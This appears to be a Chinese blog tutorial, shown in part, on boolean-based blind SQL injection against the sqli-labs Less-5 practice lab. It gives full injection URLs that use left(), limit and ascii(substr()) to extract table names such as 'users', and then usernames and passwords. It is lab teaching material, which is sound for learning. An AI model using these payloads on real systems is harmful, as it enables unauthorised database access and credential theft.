SQL 盲注方法总结

1,布尔盲注—构造逻辑判断

①left(database(),1)

语句为:

http://localhost/sqli-labs-master/Less-5/?id=1' and left(database(),1)='a'#

left(database(),1)>’s’ //left()函数
left(a,b)从左侧截取a的前b位
表示从数据库名字第一个字母是否等于a,是则返回true
爆数据表:

http://localhost/sqli-labs-master/Less-5/?id=1' and left((select group_concat(table_name) from information_schema.tables where table_schema=database()),1)='e'--+

得到第一个表第一个字母为e,可采用二分法尝试。

http://localhost/sqli-labs-master/Less-5/?id=1' and left((select group_concat(table_name) from information_schema.tables where table_schema=database()),2)='em'--+

举一反三得到第一个表为emails。那怎么得到第二个表名称呢?我们采用limit()函数:
limit(m,n):从m开始取n条记录

http://localhost/sqli-labs-master/Less-5/?id=1' and left((select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),1)>'a'--+

一直得到users表
之后继续得到password与username

②ascii(substr())=n

语句:

http://localhost/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=101--+ 

substr(a,b,c)从b位置开始,截取字符串a的c长度。Ascii()将某个字符转换

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值